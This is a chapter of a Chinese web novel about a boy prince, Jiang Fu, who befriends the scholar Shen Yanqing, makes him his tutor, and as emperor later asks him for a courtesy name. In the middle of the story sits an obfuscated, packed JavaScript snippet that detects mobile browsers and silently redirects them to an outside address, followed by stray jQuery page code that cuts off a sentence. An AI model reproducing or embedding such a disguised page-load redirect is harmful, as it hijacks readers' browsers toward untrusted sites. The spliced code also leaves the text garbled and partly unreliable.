奉德十二年春二月,当今的圣上尚不满七岁,还顶着一个“允”字的封号。
按常例,皇子每月要到御书房向皇帝回报三次功课,是他们为数不多固定能见到父皇的机会。
小皇子姜孚由宫人领着,一路蹦蹦跳跳,到御书房时手中还拈着朵小花。
他见父王在与人谈话,就很乖巧地立在门口等。那学士模样的人抬眼间发现了他,就停下来向他的方向微笑,低身福了一礼。
“允王殿下。”
那是姜孚第一次听见帝师的声音。
很多年后这一声在他的梦里反反复复的响起,拘住了他的整个魂魄。但当时的小皇子只觉得这人的声音像一淙泉水,清冽的,甘甜的,让人想再听一声。
但那年轻学士却无论如何不再与他说话了,只是向他的父皇恭敬告退就离开了御书房,从他身边擦过。
小皇子竭力收回自己的眼神,但小孩子的心思瞒不过大人。
老皇帝面色不虞,似乎对儿子的行为不太满意。
允王历来是最听话的小皇子,但他那一刻突然叛逆了一小下,没有在乎父皇的看法。
他想再见一面那位学士。
皇城太大了,人太多了。有些人也许见过一面,从此再也不会见到。
姜孚在此之前从未在意过这种萍水相逢,却在那一日突然动了心思。
如果再也不能见面,那该多可惜啊。
就像梁上的燕子飞走了也许不会再回,花败了也许不会再开,书上的文字读过了这行也许就不会再重读。
小姜孚突然发现,人世间的很多事情都是这样的,两条线一交叉就分开了,然后直直各奔天地两头,怎么也不会再相交。
他不想这样,他想再见到那个人。
他要把这条线扭回来。
……
允王最近开朗了许多。
以往这孩子多数时间都沉浸在自己的世界,最近却喜欢没完没了地拉着人聊天。
什么都问,什么都聊,今日问下一时令的水果,明日又问京城里的点心铺,与他讲两句就乐得咯咯直笑。
小孩子本来就生的可爱,笑起来更像是蜜和的团子,人人见了都说不出不喜欢的话来。
再者,谁都知道这孩子没养在母亲膝下,身边缺个亲近的人,也就难免多留些心,想占上这个位置。
万一他以后尊贵了,念着自己,岂不是回报无穷?
于是宫里宫外的许多事,都被宫人们毫无意识地捧到了姜孚面前。姜孚认真听着,用心记着,不吝啬给任何一人积极的反馈和赞美。
终于有一日,一个宫婢偶然间提起:
“最近那沈公子名气真是不小……说他昨日一出门,楼上竟抛下来二十余朵花,有一支正插在他衣襟呢!”
姜孚眨眨眼:
“这是谁?别人扔他花做什么?”
那宫婢本是在与小姐妹闲扯,见姜孚感兴趣,连忙回道:
“回小殿下,这人叫沈厌卿。”
“都说他才情很好,容貌也出众,近日来常与京里其他名士和贵族公子交游,名气就起来了。”
“而抛花,算是民间年轻男女间的一个小习俗。女子从楼上往下望,若见到了心仪的郎君,就可折一支鲜花往他怀里扔。”
“若是两情相悦,自可把花珍藏起来,二人见上一面;若是男子无意,也不会觉得冒犯,只是添些潇洒风流的名气罢了。”
姜孚笑道:
“多谢姐姐!我听着十分有趣。不过没听姐姐说到他家世,世家的人为什么愿意和他相交呢?”
平常在宫里,若是提到一个人,往往先说出身家族,若是家里权势大自然可以添彩不少。因此,要是不提,往往就是清贫的了。
宫婢惊于小皇子年仅六岁竟如此心细,睁圆了眼补充道:
“因为陛下前些日子召见了他呀。”
当今圣上惜才如金,常常不论出身召见民间有名气的才子,考察其见识履历。得圣上青眼的,往往能不必考试便得一个小官职,是许多人眼中的终南捷径。
宫婢扯扯旁边的小姐妹:
“十二天前,是也不是?我记得江梅春柳那几个没出息的,一早就蹲在路上等着看呢。”
那小姐妹则掰着手指头数了数,忽然惊道:
“啊呀,是呀!是小殿下往御书房去的那天,时辰都差不多,我错过了呀!”
“咦,错过了什么?”
“小殿下,当日的事还有印象么?也许你和那沈公子走过一条路,碰过面呢——”
姜孚作思索状:
“月白色衣服,白玉冠?”
两宫婢对视一眼:
“江梅说是这个打扮。”
“唉!”
后开口那宫婢又大胆问道:
“不知道小殿下觉得如何?奴婢听外面人说,这沈公子长得像神仙中人一样……”
姜孚又认真回忆了一下,点头。
二宫婢都小声惨叫了一下。
小皇子自小在宫里不知见了多少美人,其母贵妃的容貌更是惊为天人;若要让小皇子都觉得确实美丽,究竟要长成什么样子?
方才还说别人凑上去是没见识呢,眼下倒觉得自己才是那个缺心眼的了!
……
据说这沈公子性情天然,不爱金玉锦绣,反而醉心于山水草木。
闻得哪处有名山胜迹,便与友人欣然前往;听得谁家园林中有奇花怪石,想尽了办法也要递上拜帖进去看一看,看完还要作文章大赞特赞。
一时间,京城贵胄的圈子里竟以请他去为荣誉,没有不欢迎的。
谁得了他的文字,便用描翠的缎子、金丝楠的挂轴装裱起来,挂在园子的显眼处,好生与亲友夸耀一番。
巧得很,七皇子姜孚恰好也刚从教养宫人那里听了一个叫做“风雅”的词。念及兄长们的府邸都是人工制的精巧,他有意避一避,于是就吩咐人说:
自己的王府想要少些亭台楼阁描朱漆金,学着宫里花园的样式,多栽些花树就是了。
贵妃所生的小皇子,一张口就没有做不到的事。一时间,京中人都叹服于姜孚的孝悌之心,纷纷送上珍藏的花枝草种。
时年四岁半的忠瑞侯长子见家里人挖草挖的热闹,抄起小铲子掘了其母侯夫人最珍爱的一株牡丹,亲手装进礼盒。
姜孚看着那一片花瓣上能分出三种异彩的植株,迟疑回信道:
久闻舅母善植花草,这一棵是否……?
侯夫人一手打着孩子,一手飞快提笔回信:
臣妇的一片心意罢了!殿下若是不喜欢,就随便找个墙角栽了,好活的很!万勿退回!臣妇惊恐再拜!
于是这株大概全城里面都一只手数得过来的青蓝色木芍药,最终栽在了允王府花园的正中。
又过了几日,传闻说,沈公子听说了这件事,在酒席上与友人提起自己的向往之意。
友人都笑他:
“那可是允王府!你想去便去?先前那花栽在侯府的时候,也没见你敢递帖子!”
沈厌卿也只是持着酒杯笑:
“去不上,难道想一想也不成?一个两个的,打趣我做什么呢?”
本以为这只是个无关紧要的小插曲,毕竟天家的事,岂是个沽名钓誉的小文人蹭的上的?
但三日后,沈厌卿竟收到了允王府的请柬。
彼时沈厌卿亦正在席间,酒还未过几巡,清醒的很,却站起来就要出门往王府去。边上的人拽住他:
“你乐疯了?帖上写的什么日子,你也不看?”
沈厌卿转头,俯身,两指捏着那花笺上缘展与对方,笑盈盈道:
“允王殿下说,无论何时都可以。”
“既然殿下如此厚爱,沈某人当然是即刻启程最好吧?”
没听说过这种歪理!
一行人就看着他花蝴蝶似的扑出去了。说来也是奇怪,这小子今日穿的尤其讲究,直接去拜允王也挑不出差错。
难不成,人的运气竟真能这样好……?
……
允王对沈厌卿的此次召见,后来被传成一段佳话。
据说二人一见如故,结成了忘年的交情,一言一行中好像上辈子就认得。
沈厌卿殷勤讲述了许多宫外的趣事,允王也不吝于分享宫里的见闻,二人眉眼间皆是开怀笑意,真真都把对方当成了自己人。
停停走走,最终歇在一处被桃李花淹了的亭子里。
允王年幼,以茶代酒,与沈公子祝了一杯就起身离座。沈厌卿跟上,见小皇子停在那丛异色牡丹前,有一朵正盛放着,鹤立鸡群般高高支出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149991|164822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈厌卿不明所以,微笑道:
“确实绮丽非常。殿下在这府中日日看着,也觉得不足么?”
允王轻轻摸了摸花瓣,似乎很爱惜的样子,没有答话。
宫人奉上一把花剪。
“……!”
沈厌卿还未及说上什么,姜孚已手起剪落,将那朵怒放牡丹拿在手中,很真诚地看着他:
“王府尚未竣工,若是一个人住未免冷清,我有意邀先生一同。”
沈厌卿笑容一凝,立即跪了下去:
“草民惶恐……”
姜孚却走近,站到他身侧去,目光定在他脸上:
“先生莫怪。我是个附庸风雅的,父皇爱才,我有心拙劣模仿一二……”
沈厌卿低着头,不敢接这句话。周围也静的很,其他人都远远站着。
半晌他忽然感觉到,姜孚抬手在他发冠上弄着什么。
“其他的,就要先生教我了。”
宫人捧上一面大铜镜。允王拍拍他的肩,示意他抬头。
他往那新磨的镜子里望去,见那朵万金难求的牡丹正斜插在他的冠上,日光下煌煌泛着金彩。
映着他敷了粉似的脸。
和那些卑贱又沁满血的骨头外,撑起的锦绣人皮。
……
皇子择师的事情不是可以轻易定下的,沈厌卿回去闭门几日,就听见七皇子向圣人报请的消息。
圣人不知是忙得疏忽了,还是看不上沈厌卿毫无家室背景,许久没有回话。
姜孚则写了许多折子,一上再上。宫人看了都提心吊胆:
见过不要命的,可是没见过敢催皇帝的!
但人家是皇子,母妃地位又稳定,能说什么呢?或许陛下看了,反而觉得这儿子性情耿直又执着,是大好的可塑之才。
还是不要替别人操心了。
总之,某一个雷雨夜里,回信批下来了:
命沈厌卿为七皇子侍读,即日入宫赴任。
没有背景和其他官职,做不成侍讲学士,便只能拿一个这样低微的小官。但对于一个草根出身的平民学子,已是天上掉下的馅饼了。
可奇的是,竟还有许多人替沈厌卿惋惜。
都道:
原先被圣人召见过,往往按捺住心思等上几月,便可接着大好前途了。
而今沈公子目光短浅,贪看那株草,或是贪了允王的青眼,落得这么一个低微的位置,往后再向上可就难了。
虽说众人都有押宝的心思,可当今圣上正是壮年,哪能做的这么明显?
不触怒了天颜,才是奇怪。
——也难怪要在这风雨夜上任。雨下的跟泼水似的,怎么赶路?
可沈厌卿却真在那暴雨的夜里叩开了宫门,踉踉跄跄赶到了披香别苑的门前。
姜孚敞着门,执伞立在雨里迎他,见他雨笠蓑衣都被雨水打透,衣摆上拖着泥迹,仍是初见时的那件衣服。
月白的锦料毁得彻底,沈公子只这一件体面的,是面圣前御赐的衣服。
沈厌卿眉间睫间沾满雨水,几乎要睁不开眼睛,却还是对着自己选下的新主笑:
“从今往后,微臣就是殿下的人了。”
姜孚动容,仰头将伞塞进侍读怀中,牵住对方双手:
“本王一定不负先生。”
……
崇礼六年四月,圣人即将及冠,宫里宫外忙的翻天覆地,礼部几乎以头抢地,唯恐办不好这件大事。
可往文州的信里,却有一个很淡很淡的问句:
我将要二十岁了,常人家该取字的,父亲母亲去的早,能否请老师为我取一个呢?
回信答道:
臣请罪,臣听闻历朝帝王都是没有字的;因为他们是天下最为尊贵的人,没有人配得上为其取字这样的殊荣。何况臣一介卑贱之身,更加不敢僭越。
从京城很快又来了一封信:
父皇为我取名叫‘孚’,取的是信孚天下的意思。我为自己取一个字,叫做‘信君’,老师觉得如何呢?
回信只答:
陛下圣明。
……
姜孚捏着信纸,摘开上面落的花瓣,会心笑了一下。
他想:
唯有老师与他才知道这两个字,其他人谁也不得称呼。